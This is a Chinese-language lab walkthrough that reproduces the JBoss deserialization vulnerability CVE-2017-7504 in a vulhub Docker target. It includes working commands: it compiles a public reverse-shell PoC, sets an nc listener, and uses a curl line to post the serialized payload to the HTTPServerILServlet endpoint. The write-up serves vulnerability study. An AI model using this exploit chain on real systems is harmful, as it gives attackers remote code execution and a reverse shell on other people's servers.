CVE-2017-7504 JBOSS反序列化漏洞复现
一、漏洞描述
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
二、漏洞环境搭建
需要使用的工具如下
1.docker+vulhub漏洞库
2.漏洞POC:下载链接https://github.com/joaomatosf/JavaDeserH2HC
3.攻击机kali虚拟机(版本随意)
4.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-7504#
执行命令
root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-7504# docker-compose up -d
等到出现以下页面说明已经搭建完成
可以访问http://your-ip:8080
,出现如下页面证明环境搭建成功!
三、漏洞利用
进入kali利用漏洞POC进行验证
1、先把POC克隆到kali中,执行命令
git clone https://github.com/joaomatosf/JavaDeserH2HC
2、进入JavaDeserH2HC目录,执行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
3、设置接收shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:监听端口
4、使用nc监听端口
nc -lvvp 监听端口
5、用攻击机发送payload,在JavaDeserH2HC目录下执行
curl http://192.168.1.17:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
6、查看监听端口返回的shell,可以执行命令,至此漏洞验证完成
7、关闭docker环境
docker-compose down